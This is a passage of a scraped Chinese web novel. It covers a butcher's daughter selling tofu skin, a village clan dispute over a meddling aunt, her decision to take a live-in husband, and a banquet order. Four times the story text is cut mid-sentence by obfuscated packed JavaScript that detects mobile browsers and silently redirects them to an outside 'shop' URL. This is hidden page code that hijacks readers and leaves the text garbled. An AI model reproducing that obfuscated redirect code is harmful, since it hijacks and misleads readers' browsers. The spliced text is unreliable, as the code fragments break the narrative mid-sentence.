l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16248269|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀的登徒子是陆婶子特意带到我林氏地界来欺人的?” “对!这狗东西避也不避,眼珠子直往我们姐倆身上看!你那双招子是不想要了?欺负我家无人?”林巧儿立即帮腔,一副要去找人来的模样。 陆春红先是被林真骂懵了,自从她那大嫂改嫁后,家里多是她出面应酬,她嫁的可是族长家的儿子,是族长儿媳! 枣儿村谁不待她客客气气的,甚时候一个小丫头片子也敢指着她来骂了? 可还不等她教训林真呢,那林巧儿就要去喊人。 陆春红脑子一下清醒过来:不能去。 若是真教这倆丫头片子将人喊来,再瞧瞧林真那一副甚都敢说的样子。就林屠户一家子那护短样,她娘家侄儿怕是要被打个半死。 一把拉住林巧儿,陆春红脸上挤出一个笑来:“巧儿,误会,误会啊。婶子是一番好意,我这侄儿也无坏心的,就是……” “哼!我倒不知道一个管不住自个儿眼睛,盯着小娘子瞧的贼杀才没坏心?陆婶子领着你侄儿来此作甚?我林氏年轻小娘子可多得很,你这是安的什么心!” 林真打断陆春红的话,指着妇人的鼻子一个劲儿地质问。 动作和语气都极为气人。 “我能安什么心?我只是领他来瞧你的!谁叫你嫁不出去?”陆春红果然被气昏了头,一下子喊出来。 “我有爹有娘,还有我亲大伯,即便是嫁不出去,何时又轮得到你来作主?有顺叔还得喊我爹一声‘哥’,你作的哪门子的主?你莫不是在咒我家血亲死绝?” 林真双目幽幽地盯着陆春红。 陆春红整个人一颤:“不是,不是,真姐儿,婶子不是这个意思。” “呵,只有无父无母、无兄无弟,三服内血亲死绝的孤女,才会由族里做主婚嫁。” 林真说完这话,拉着林巧儿就跑,一边跑还一边对巧儿道:“巧儿,快去找你爹!” “当然要去,咱家定要为你讨个公道!”林巧儿语气忿忿,她先前还有些迟钝,可听了真姐儿的话,只觉得一股怒火直冲脑门。 实在是欺人太甚!族长家怎的了?族长家也不能如此欺负人!她家可从来不怕事! “不是,我是想教大伯待会儿一定要拦着我爹!” “啊?”林巧一脑门问号,迟疑着点点头。 家门近在眼前,林真在大腿上狠狠拧了一把。 嗷!手劲儿使大了,好在泪珠子顺利飙出来。 林真,红着眼,淌着泪,一头撞开了家门。 “爹!” “咋得了?”林屠户被唬了一跳,他往常杀猪后必是要睡一觉的,可今儿惦记着在县里的闺女儿。没去歇晌,反在草棚子里打转。 一抬头,被女儿吓了一跳:“这是怎了?谁欺负你不成?” 林大伯带上倆儿子来林屠户家时,正好撞见了携着杀猪刀气势汹汹往族长家去的林屠户。 他扯着嗓子叫人,愣是没叫住。 见林屠户面色渗人,瞬间想起巧儿颠三倒四说要拦着她二叔的话。一拍大.腿,忙不迭带着倆儿子跟在林屠户后头跑。 出人命倒是不会,可有生正气头上,可别见血了! 17. 第 17 章 族长家,林有顺坐在檐下抖草鞋,他才刚从田里回来,踩得一脚的泥。 瞧见林屠户气势汹汹冲进来,还没反应过来,一把锃亮的杀猪刀,‘啪’一下,拍在他跟前。 端得是,寒光闪烁煞气逼人。 林有顺一抖,强逼着自个儿出声:“有,有生兄弟,这是做啥咧!” “做啥?有顺啊,你直接用这杀猪刀朝我脖子上一抹,先将我打杀了!用不着去逼迫真姐儿一个没经事的女郎。” “啊?真姐儿,我做啥了咧,你,你先将刀拿远些!” 林屠户凑近一分,林有顺忙不迭朝后退。 “有生小子!这是作甚?便是有什么话也该好好说,动刀子像什么样?还有你们,有财,你也是,领着一大家子作甚?”在屋里的族长林正业忙出来。 “族长说得在理。可也得教您知道,被人欺上门来,指着家里的女郎咒她血亲死绝!这事儿,若我们一家子还装作没事儿人似的,那不若一家子排排队,都去投河好了!” 慢一步进门的李金梅率先开口。 “金梅,你这话是怎么说的?说生说死的也不避讳着些,都坐下来,好好分说清楚。你叔的性子你还不知道?丁是丁卯是卯,绝不含混也不偏私。”族长老妻陈氏也站出来。 李金梅抹了抹眼角,带着些哭腔道:“婶娘,您知道,真姐儿小小年纪失了亲娘,是我兄弟当爹又当娘一手拉扯大的,平日里最听不得有人说真姐儿是没娘的。哪晓得,今日有顺兄弟那好媳妇儿,不止指着真姐儿说没娘管,还要咒我们一大家子都死绝了呢!我还避讳些甚?” “嚇!嫂子,我媳妇儿哪有恁大的胆子呀?您可别是听岔了。” “你闭嘴!”陈氏狠狠瞪了一眼儿子。 “那你说说,她陆春红带着一外姓男,直直凑到真姐儿跟前,口口声声要为真姐儿的亲事作主!这不是咒我们一大家子是甚!这可不是我冤枉她,她陆春红胆气足得很,也不避着人,就在村里人来人往的正道上说的。族长和婶娘若是不信,去村里问一声,保管有人瞧见了!” “我瞧见了!那无赖与您儿媳挨得老近了,遇上了屠户家的小娘子也不止不避开,还凑上前去!瞧着好生无礼!”有村人在门口喊道。 先前路上林真闹开后,那一出教村人瞧个正着。待瞧见林屠户气势汹汹来族长家后,村人忙坠在后头也来了。 “我倒是没瞧见真姐儿,可我今儿瞧见陆春红边上跟着一男子,眼生得很。可他是陆娘子领进来的,咱也不敢多问啊!” 又一位瞧热闹的,后头这一句,真真是阴阳怪气。 得,都不用去找证人了,人自个儿就来了,还怪是热心肠。 林正业面色阴沉,眉毛皱得能夹死蝇子,瞧见自家儿子没出息地缩在一旁,心里的火气是怎么也压不住。 “你媳妇呢?犯下如此大错,人还不着家,还不去将人找来!” 此时的陆春红在干啥呢? “姑母,侄儿的后半生可全靠您了。您可是说了要教那屠户女儿进我家门的,我只有您这么一位能耐又可亲的长辈了,您这回帮我,我定会记得您的大恩大德,必当牛做马报答您咧!” 陆大年腆着一张磕碜脸,口中好话不断。虽是老一套了,可还是将陆春红哄得眉开眼笑。 “大年,今儿你受苦了。屠户家的女儿就是粗鄙,她这样谁敢娶?也就是你不嫌弃她,还好心娶她进门。你放心,今儿先家去,这几日先别来,避避风头,你别担心,姑母定会帮着你将人娶进门!” 陆春红信誓旦旦,真姐儿是被退过婚的,人还这样粗鄙。要不是瞧着屠户家还有些钱财傍身,她这侄儿又求上门来,她是断断瞧不上的。 “嘶……”陆春红这么一说,陆大年这才觉出脸上刺痛,许是教背篓勾破了,眼中满是凶光。 小娘皮! 居然敢朝男人动手,等着,进了他家的门,他自会动手好好教教这屠户家的女儿! “唉,我倒是不算甚,倒连累着姑母受辱。您放心,往后我自会好生教训她!” 姑侄倆做着春秋大梦呢,满头是汗的林有顺找来了。 瞧见自家媳妇身边果真跟着她娘家那不成器的小子,林有顺心中一个咯噔,当即大喊。 “陆氏!你不着家在这儿作甚?我不是说了,不许你这侄子上门吗?你还敢将人领来?” 赫然炸开的声音吓了两人一跳,陆春红瞧见丈夫过来,顾不得其他,忙赶人。 “快走,快走,你姑丈气头上,你别在这招他眼。” 陆大年恨恨瞅了林有顺一眼,可确实不敢在林氏族居处找事儿,只能灰溜溜走了。 “站住!”林有顺想拦,可被陆春红死死扯住。 “你作甚?大年都没上家里去,我们姑侄倆在外头说说话也不行?你这是要逼死我啊?” 连哭带喊,瞧着好不可怜。 林有顺瞧着陆春红如此作态,心里凉了半截。 定在原地木木道:“是你要逼死我!别嚎了,回去吧。爹找你,林屠户一家也来了,我被赶出来找你的时候,听见爹叫人去请族老了。” 陆春红一惊,像只被人捏住了脖子的麻鸭,声儿哽在喉间出不来。 好半晌,才喘着粗气讷讷道:“不能吧?那倆丫头还真敢闹开?” 林有顺心彻底凉了,直到此时,她竟还不觉得错在自身,只一味责怪别人。眸子暗了暗,林有顺不说话了,只扯着陆春红回家。 == 燕儿今日烧火难免分心,时不时探出个毛茸茸的脑袋,小心打量站在灶前挑豆皮的阿姐。 “燕儿,你还想不想吃酥糖了,专心烧你的火。”林真反似没事儿人一样。 她爹出去后,还不待苗娘子安慰她呢。她点了灶便开始制腐竹。 燕儿‘嗖’的一下缩回脑袋,不敢再看。 “真姐儿,不若我来罢?你去歇会儿?”苗娘子小心翼翼。 唉,早知道今日不自作主张磨豆浆了。 “用不着,多大点事儿啊?外人瞧不上咱,咱就越发要把日子过好才成。今日您是没瞧见,好些人还想买咱家的腐竹哩。咱这摊子才将将支起来,可不好断了货物教人白跑,这回白跑,下回还白跑,往后便再不会来了。” 苗娘子实在瞧不出真姐儿有一丝伤心的模样,只好不再多言。 又听着林真说起还有许多人没买到腐竹,有些心急。 “那咱要不要再磨些豆浆,多制一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16261191|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐竹出来?” “那倒不用。”林真摇摇头。 “一把三十个钱,只能给家里添盘菜,多几个人下箸还不够分的。即便兴福坊内都是些不差钱的主,也不会日日都添这样一盘子菜。十来把便够了,咱就是要他们时常想着念着这一口。细水长流,也不会太过惹眼。” 今儿排在王氏布行的小少爷后头买腐竹的妇人,瞧着就是有些嫌贵。腐竹又不是羊肉,价格这样贵,只能当个稀罕玩意儿略尝个鲜。 要薄利多销,还得看熏豆干。豆干虽价贱些,可架不住量多。 四十斤上好的黄豆只能出两斤出头的腐竹,可挑了腐竹后,剩下的豆浆能出八十来斤的豆腐。 去掉边角料,板板正正能划出八十多方来。 今日腐竹入账三百文,豆干入账一百六十文,一日入账将近五百文,着实不是一个小数目。 真要算起来,利润怕是比林屠户收猪杀猪来得大。她当日定价,是按着三倍利来定的。 取利三分食无忧么! 林真很是满意,黄豆可真是个好东西。腐竹豆干来卖钱,豆渣肥牲口,丁点儿不浪费。 “对了,娘子,咱们是要趁着日头好多磨些豆浆,多制些腐竹出来。这几日赶着拿去卖,日头晒半日,炭火烘半日,柴火可不便宜,咱还是请老天爷帮帮忙罢。” 林真打量了一下自家院子,拍板道:“今儿晚上多泡二十斤黄豆,能张罗开。快些赚钱,也快些将咱家的黑瓦青砖都搭回来!” “好!”苗娘子教林真说得心潮澎湃,一身使不完的劲儿。 是以,等李金梅跟着林屠户进门的时候,瞧见的就是没事儿人一样的真姐儿。 “真姐儿,你忙着呢?”瞧着不像是受了天大委屈的人啊?她还特意教自家人都先回去,自个儿来宽慰真姐儿呢。 “啊?大伯娘,您坐。”林真扯着嗓子喊人。 “爹,我腾不出手,您招呼我大伯娘,端盏子茶汤来。” “不用,不用。我说说话就走,可不敢在这时候吃茶哩,走了觉夜里烙饼似的,翻来覆去睡不着。”李金梅赶紧摆手。 知道真姐儿手上的东西要拿出去卖,她控制着不往那头看,快言快语将事情说清楚。 “族长还算公道。罚了林有顺去跪祠堂,一整天,不到时辰不能出来。至于陆春红,啧,她有儿有女的,再有林有顺求情,便没休了她。陈婶子说了,往后只准陆春红在家里做事,出门必要请示公婆,再有下次,就叫陆家来人领回去!” 李金梅叹了叹:“这事儿真闹起来还是真姐儿你吃亏,族长家既许了诺,说是定会看住陆春红,咱家也只能退一步。” “嗯,我晓得了。大伯娘,我不委屈,您别担心我。”林真反过来宽慰她大伯娘。 她虽然生气,可毕竟不是本地土著,还是能想得开的。 只是她大伯娘一走,林真冲她爹道。 “爹,您来。女儿跟您说个事儿。” 林屠户依言走近。唉,真姐儿如此受辱,怪他这个当爹的没用啊。 “女儿打算招赘,您放出话去,咱家给八贯钱。” 林真手上不停,一脸的云淡风轻,竭尽全力,才没教人察觉出她语气中的雀跃。 18. 第 18 章 “嗯?怎又说起这事儿来了?”林屠户皱眉。 “爹,您想想。女儿先前只是退婚,还是我林家写的退婚书。可即便如此,甚不三不四的人都敢打我的主意,还敢领到我跟前来;现又出了这档子事儿,往后啊,这亲事怕是难咯。” 嘴上说着难,可语气却丝毫不在意,还有闲心指点苗娘子揭豆皮儿的时候也上手理一理。 “您倒是一心想寻摸一门四角齐全的好亲,可您想想,好人家温柔能干的小娘子如此多,人凭甚要娶我这样名声有瑕的女郎?左右都寻不到甚好人家,反不如招赘!要女儿说,我留在自个儿家里才自在呢! 对了,您还不晓得我今儿赚了多少钱吧?四百六十文!我如此本事,为何要便宜了外人,我想留在家里,在您跟前尽孝。” 林真这时候停下手来,黑黢黢的眼珠子盯着林屠户瞧。 “爹,我若是嫁出去了,一年可回不了几次。再家来,是客,不止留不得,反要按着时辰赶回去。可这儿明明才是我的家,您明白么?” “可,可是……” 林屠户‘可是’了半天,终究没能吐出一句完整的话来。 他脑子里乱糟糟的,一会儿是自责,一会儿又心疼真姐儿。尤其是真姐儿说她已然寻不到好人家了,出嫁家来便是客。 心里清楚林真说的才是事实,难受得很,林屠户蹲在地上,半天说不出话来。 “燕儿,给爹端个杌子坐,再把你的金橘团熟水分给爹吃,阿姐明儿再给你买。” 燕儿很是听话,跑来又跑去,端杌子、拿饮子好不忙碌。 “爹,您坐。” 林屠户依言坐下,脑子还乱着,基本一个指令一个动作。 “爹,您喝饮子。” 手里被塞了竹筒,一仰头,甜中带酸的香饮子入口,人才清醒了几分。 瞧了瞧手里的香饮子,又瞧了瞧眼巴巴看的燕儿。林屠户伸手摸钱,又发觉身上没挂钱袋子。 “您喝,我还有糖吃。阿姐明日还给我买哩!” 阿姐的吩咐执行完成,燕儿跑开,照旧坐在灶前一脸严肃地盯着灶孔内的火瞧。 她不是很懂这些,可有一句她听懂了。 阿姐若是嫁人,那就不能回家了,可若是招……招赘!那阿姐就还留在家里。 这还要选吗? 燕儿小小的脑袋大大的疑惑,阿姐肯定要留家里才好呀! 一边烧火,一边偏着脑袋瞧林屠户。 香饮子喝了大半,甜意散去,嘴里留下的酸意顺着喉间淌入心里。 罢了,总归是他对不起真姐儿,那便如了孩子的意。 “成!爹明日与你一道去城里,请官媒!官媒消息广,八贯钱咧!这十里八村的,怎么着也能寻摸出个像样的来。” “您同意了?”林真眼睛一亮,好话不要钱似的夸夸。 “真好!再没有比您还好的爹了!” “你少给你爹灌迷汤了。家里可还有糖和茶?这事儿还得去给族长打声招呼。” 林屠户最后一句话是问的苗娘子。 “有!我这就去拿!” “别,娘子您先别忙!”林真虽不是很懂这时候的宗族理念,更弄不明白为何自家的事儿还要去找族长家说。 可她没打算拦着,只是这时候,有些小气起来,很不想花钱的好东西进了族长家。 “爹,您捡些腐竹,烘干了,再拿两方熏豆干去就成。虽说是自家的东西,可我一把腐竹可要卖的三十个钱呢!不算孬!” 林屠户略想一想,痛快点头:“成!” 也好叫族长知道,真姐儿有这一手。现成的名目都找好了,顺水人情的事儿,族长不会不同意。 林屠户一烘好腐竹,急慌慌就去族长家,连夕食都没吃。 陆春红瞧见林屠户的时候,一个激灵,怎又来了? 男人被罚去跪祠堂,家里公爹婆母妯娌,有一个算一个,对她通通没好脸子。这还不算完?他林屠户又来作甚? 陆春红心里再恨也不敢表现出来,林屠户一眼都懒怠瞧她,只向着族长和族长夫人陈氏问好。 进了堂屋,奉上东西,三言两语将自家打算招赘的事儿说了,便等在一旁。 林正业一口接一口抽着旱烟,眼睛在篮子里的东西上来回转。 “这东西叫腐竹?是真姐儿自个儿做的?” 熏豆干他倒是没细瞧,左不过与豆腐一样。可这叫腐竹的东西,是真稀罕。不等林屠户回答,他又朝外喊道。 “有文,进来!” 他小儿子是个童生,虽没能再往上考。可能识会算的也算本事,托人在城里给寻了一门账房的活计。这些年算是做得不错,跟着东家往外跑过几回,算是有些见识。 他人老见识少,不识得这稀罕东西,他儿子能识。 林有文着长衫,面白清瘦,瞧着甚是体面。人倒是多讲礼,进来先是同他爹问好,又向着林屠户一拱手,唤其一声:有生哥。 末了,这才拿着篮子里的腐竹细瞧。 “我见识少,倒是不曾见过未泡发的腐竹,只跟着大掌柜在南阳府吃过一回。单瞧着倒是十分相似,有生哥好福气,真姐儿有如此本事,您还发甚愁呢?倒是教你破费了,怎拿了恁多来?这东西甚是价贵。” 林屠户摆摆手:“真姐儿给捡的,又是自家制的,不肖如此客气。” “成,我知道了。有生家去罢,我就不留你吃饭了,真姐儿招赘的事,我会告知族老。” 林正业的脸藏在烟雾后,林屠户看不真切。不过有这句话就够了,他点点头。 “有劳族叔,不打扰您了,我这就家去。” 待林屠户走后,许久没说话的林正业瞧着立在一旁的小儿子,心下才觉熨帖。 “有文,你从小便不喜田间之事,你大哥若是还在,爹绝不拘着你。可谁叫老天要收人?让他年纪轻轻去了,只留下一个兰姐儿。” 想起自己的第一个儿子,那个无论是性情还是模样都肖似自个儿的儿子。即便是这么多年过去了,可每每想起来,还似剜心似的疼! 林正业有些气喘。 林有文赶忙上前扶着亲爹,又端了一盏子凉茶来伺候着林正业喝下。 大哥走得时候他已成亲,自然知晓那是个极有担当的汉子。 小时候是孩子王,长大后,山一般的汉子更教人佩服。村里年轻一辈没有不服他的,连族中的耋老都对其极为满意。 若是没有意外,大哥会是林氏的下一任族长。 他呢?许是还是个账房,可他一准儿干不了这么久,定会寻个机会自个儿开店当大掌柜。 哪像现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16266977|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? “你二哥是不成了,爹只有你了。林氏族长的位子,在我们家手里传了三代,决不能断在我手上。有文,爹老了,撑不了几年了,你得回来!回这个生你养你的枣儿村来,学着怎样当个能撑事的族长!” 林正业的手死死抓住林有。 林有文低头去瞧,他爹的手上居然长斑了,这种斑,他只在村里的老人手上看过。 低着头想了好一会儿,林有文才低声道。 “爹,我晓得了。您再许儿子些时间,与东家请辞要时间。还有岳父那边儿,我得去打声招呼。” 林有文的媳妇容娘,是城里米行老账房的小女儿。 他当年打算盘做账的本事都是老丈人教的,后头两家彼此有意,他便娶了容娘,亲上加亲。 他在县里做事,十日才得一日休,妻儿自然也在县里照顾他。家里帮衬着,他又攒下月钱和赏钱,在慈溪县买了一方小院儿。 虽不如家里宽敞,可只他和容娘住一起,日子过得惬意。 这也是当年娶容娘时,他许下的诺。 容娘自小在城里长大,没得嫁人了,却要回村里讨生活,这不是越过越回去了?可那是大哥还在的时候,现在,是不成了。 “是,是该去向亲家赔罪。你定个日子,我和你娘与你一同上门去,是我林家不守信,要去赔罪的。” “爹,何至于此?我自个儿去说,容娘和岳父岳母定能理解的。” 林有文不忍心从来受人敬重的爹娘与他一起上门赔礼道歉。 “有文,你糊涂!心要正,要有担当,错了就认。别想着糊弄了事儿,谁都不傻,你糊弄人,人自个儿心里清楚!咱家没守住诺,自然该认,该……” “咳咳咳!” 林守正一阵止不住地咳,林有文赶紧扶他半坐着,手在其背上不断顺气。 好一会儿,林守正才喘着粗气平息下来。 “不止是你岳家,还有有财有生兄弟倆家里,往后他们两家有事儿,你跑勤些。还有真姐儿,那孩子运道差些,好在主意正人伶俐。咱家对不住她,我自会约束着族人不许说闲话,你往后也照应着些!” “是,儿子晓得了。” == 林家。 真姐儿欢欢喜喜拿了今日买的杂嚼,还殷勤地给他爹倒上一碗米酒。 “爹,您辛苦大半日了,今日吃些米酒好睡,咱明日早些去!您不晓得,好些娘子女使与我说了,要买咱家的腐竹豆干给夕食添菜呢!” 翌日,陪着真姐儿去卖腐竹的林屠户,见着了摊子上一群又一群没断过的买家,这才晓得真姐儿不是说好话来哄人。 等他去寻了官媒,说了好一通“头一样是要心正,不能欺了我家姐儿”之类的话,再来兴福坊内,真姐儿已在收摊了。 “这就卖完了?”这是惊呆了的林屠户。 “哈哈,您家女郎好本事儿啊!还没恭喜您和林小娘子呢。” 这是许久不见的林掌柜,人先是贺喜,语气中的喜庆拿捏得正好。 “老朽寻林小娘子有事相商,已在宋家分茶店定了饭食,请您和林小娘子一道去吃碗鱼羹。” 请人吃饭也很是诚心。 三人一道走,瞧着还怪亲热的。 王巡栏隐在树后,盯着林屠户的背影,眼泛精.光。 19. 第 19 章 宋家分茶店的鱼羹,现杀的鳜鱼极鲜,佐以火腿、香蕈和鲜笋,一口下去,尽尝鱼肥山鲜之美。 夏日的竹笋本有些涩口微苦,可宋家分茶店的这道鱼羹,只有鲜笋的脆爽鲜甜,与火腿的醇厚咸香、菌类特有的丰腴顺滑相辅相成,层次分明却不显杂乱。 鳜鱼的细嫩肥美教人欲罢不能,一点香醋和胡椒更是神来一笔,令人回味无穷。 林真上辈子没亏待过自个儿的嘴,这辈子虽差些,可昨日也是吃了冷淘的。还是教这碗鱼羹拿下,埋头先喝一大碗。解了馋后,才有心思与林掌柜搭话。 她也不扭捏,大方承认:“宋家的鱼羹甚是美味,教林掌柜看笑话了。” “这有甚?小娘子年轻正是胃口好的时候,不似老朽这样半截身子入土的人咯。从前能吃的时候,肚子似个无底洞,可那时没甚好东西款待它。如今有了几分体面,可人却吃不下咯。要我说,林小娘子这样才是顶顶有福气的呢!” 林掌柜这话说得满是诚挚,他是真觉着这位林小娘子是有福之人,也是他的贵人。 前有那桑叶豆腐,如今得林家老太爷亲自取名,唤作春水魄,会在林家近日举办的雅集上亮相。现又有这人参豆腐之称的腐竹出现,又教林家女公子瞧中了。 林家此次的雅集,不止汇聚了慈溪县内文人名士,还有应邀同乐的前瑞州知州——樵风居士。 知州大人虽说已致仕,可其出身名门,游历各处所著的《溪山卧游录》更是颇受世人追捧,是有名的雅士;再有他的好友,高僧明本,那可是能出入皇宫为圣人和太后娘娘讲佛的高僧! 林小娘子此时所制的腐竹实在是妙极! 腐竹兴于瑞州,在慈溪县内少见。 此次雅集上若有一道金缕素云(凉拌腐竹),樵风居士必能觉出林家的用心! 且此次雅集由林家女公子一力操办,意义不同凡响。女公子准备借此盛会将林家反对她当家的声音尽数压下,为这次雅集十分上心。 林掌柜在女公子跟前效力,为筹办此次雅集,他也忙得团团转,铺子都许久没去了。 好在林福这小子是个识货的,昨儿收到林小娘子送来的腐竹,立时便奉到他跟前。 果然,这东西呈到女公子跟前,女公子大喜。 “林小娘子,你那的腐竹还有多少?老朽的东家要办宴,想从你这采买一批净条腐竹。” 林掌柜见席上众人吃得差不多了,其实主要是林小娘子吃好了,这才开口。 林真眼前一亮,她非要进兴福坊内摆摊,可不仅仅是为了每日十二把腐竹的销量。 大户人家请客办宴的机会多,林真瞄准的,就是能教腐竹登堂入室上宴席! 京都有四司六局专门承办宴席,慈溪县繁华,虽未设四司六局,可行会酒楼也有专事宴席的人。只要肯花钱,人一定给办得妥妥帖帖,铺陈布宴、迎客备菜、掌灯奉香…… 样样俱全,丁点儿不肖主家操心,这是寻常富户要大场面撑面子的时候,最具性价比的筹备法子。 可自诩底蕴的人家,却不会教外头的人沾手,上至采买下至引路的丫鬟婆子,全是自家人手。 林真先前瞄准的是寻常富户办家宴小宴的机会,她倒是没想到林掌柜的东家能瞧上她的腐竹。 脑子里思绪纷杂,可落在现实只一瞬。 “不瞒林掌柜,这东西家里虽还有些,可不过一两日的量。咱小本生意自然不似您这样货源充足,不知您何时需要,又要多少?若是时间来得及,家里抓紧些,我定然能按时按量交货,可若是不成……” 林真定了定,惋惜道:“我虽想与您促成这一桩生意,可也不好耽搁您的事儿。” “林小娘子莫急,此次只是小晏。老朽只要十斤腐竹即可,三日后,教林福小子来与您交接,可成?” 此次雅集虽是盛会,可也不是谁都能去的,从数量上来说,实在不算大宴。 十斤?至少五十盘,还是小宴?林掌柜背后之人,果然颇有分量。 “成,林掌柜放心,我必定如数交付,咱现在就定契?” “小娘子是个爽快人,咱也是老熟人了,拟个白契就罢了。老朽先给小娘子五吊钱当定金,三日后,剩余的一贯钱自会奉上。” 林掌柜一点儿价没压,是按林真散卖的价来算的银钱。 林真自然高兴,与林掌柜告辞后,头一件事儿便是直奔米行,家里先前是在村里收的大豆,现来大单了,自是不够。 一石大豆七百文,幸好林掌柜给定金了,要不然她连买原材料的钱都不够。这时候的一石约莫着有一百八十斤出头,瞧着是多。 可这一石豆子产不出十斤腐竹,再加摆摊要用的,自然不够。 不过林真不打算再买了。 家里还有些存货,村里再收些来,就差不了啥了。这县里的豆子卖得可比村里收来的贵! 林真坚决不当冤大头。 同掌柜的讲好了送货上门,又教其添了半框子米糠来。林真这才心满意足地和她屠户爹家去。父女倆赶着老驴走在前头,米行的伙计赶着牛车跟在后头。 不出意外又被枣儿村的村民们围观了,可林真现已锻炼出来,完全不当回事儿。 “爹,这几日没人请您杀猪,就教咱家的大小灰都磨豆子去,您和苗娘子先开火。我去大伯家一趟,请茂安哥、巧儿和大伯娘帮忙!” 林真掰着手指头给林屠户算。 “咱一天至少得磨四斗豆子,您要是一个人滤浆,腰得折了。请茂安哥来帮忙滤浆,咱一日给三十文工钱再包一顿饭,算是好活计罢?” 林屠户点点头,还真是。 “我得留在家里制腐竹,可县里的摊子才支开,不能在这时候断了。我打算教巧儿去,这几日少出些货,教人知道咱还在那摆摊子就成。巧儿先前去过,能张罗得开来,一日便给十个钱。” 好像也有道理,那摊子是真能赚钱,可不能三天打鱼两天晒网的。 林屠户继续点头。 “再来是我大伯娘,她在村里识得人。咱请她帮忙出面收大豆,这就不算工钱了,我大伯娘定是不收。我是这样想的,咱一斗大豆给大伯娘算六文钱,只要能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16278528|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到足数的大豆,其余一概不管。能多少钱收上来,是我大伯娘自个儿的能耐。” 是,林屠户继续点头,这算是最妥当的法子。不能教人光干活不给好处,这不是长久之道。 “您没意见?那我这就出门了,早些回来,今日还能再多磨些豆子出来。” 林屠户当然没意见,瞧着女儿风风火火出门。 好一会儿,牵着小骡磨豆子时,才反应过来。 咿!真姐儿这当家人的做派,可比他足。 “惠娘,你说说,真姐儿这当家人的派头是不是忒足了?” “这样才好呢,真姐儿是要招赘的,就得这样有主意撑得起来才成。你将真姐儿养得极好!我只盼着燕儿能改改性子,有她阿姐一半的果敢,才能不随意教人欺了去。” 苗娘子叹了口气,从前娘倆关起门来过日子,有人敲门,心都得跳一跳。 燕儿,到底是受了影响。 “这有甚?燕儿还小,教她多出去多见人,这胆气自然就上来了。” “这倒是。”苗娘子笑了笑。 事情安排完的林真家来,身后还跟着林茂安,这新出炉的短工非要来。 林真也不和他扯,正好还有事儿要她屠户爹去跑。 “爹,您去一趟咱村里赶牛车那家。与他家商量着,往后咱包他的车,明日卯时正,接了巧儿往县里走一趟。” 家里人都要留着赶制腐竹,林屠户可没法子驾车送巧儿,一来一回实在浪费时间。且她家里只有一辆驴车,夏日一过,林屠户忙绿起来,也没法子送林真去县里。 她们县里也没个亲戚啥的,那一堆的家伙什,可不好搬动。 林屠户一拍脑门:“是,是得叫人送送巧儿,她一个人走可不成。” “您和人家商量着,往后凡是用车便是卯正出发,日跌家来。不能误了时辰,这车便只能拉咱们自家人,咱们一日给二十个钱。” 林真对那赶车的人家其实没甚好印象。 一人两文还不许带重货,若是竹筐大些或是背篓重些,必要扯着你加钱。也就是枣儿村只他家有两头牲口,日日赶车出门不误事儿。不然,她一准儿不找他家。 “一日二十文不算少了,他那牛车寻常可坐不满,便是有恁多人舍得花钱,也只能捎带七八人。您可别被他绕进去了,多给钱。” “成,我晓得了。” 打这天起,林真就窝在家里熬豆浆揭豆皮儿。 每日往灶前一站就是四五个时辰,在她腿肚子开始浮肿,闻豆浆味儿都要吐了的时候。 终于,林掌柜要的腐竹都备下了。 挑了好的层层码好,麻绳一捆,大框子套小框,中间还用晒干的稻草塞满。虽说这腐竹不是那么容易散的,可这样搬动起来也放心些。 翌日,又是一大早,林家一家子都出门去。 林屠户赶着驴车带着燕儿和苗娘子跟在装满了腐竹的牛车后头。 真姐儿说了,今日卖了钱,一家子都去吃顿好的! 而这头,盘桓许久的王巡栏,终于等来了林屠户。 20. 第 20 章 林真将与林掌柜的交货地点定在兴福坊的摊子上。 林掌柜很是大方,丝毫不介意林真想凭这笔生意扬名的小心思。 林福来的时候,身后还跟着倆小伙计,十斤腐竹装了三框,他一样一样点得很是认真。 林家百年福源斋在慈溪县内颇负盛名,林福自然也在里头混了个脸熟。他这一点,围观的人逐渐多了起来。 有人搭话,林真笑眯眯不语,这点儿分寸她还是有的。 托了这场热闹的福气,加之最近都忙着赶工,自家留下来卖的腐竹和豆干儿本就不多。东西卖完的时候,还没过饭点儿。 林家众人忙收拾摊子,洗洗刷刷收凳收伞的,就为着快些去宋家分茶店吃鱼去! 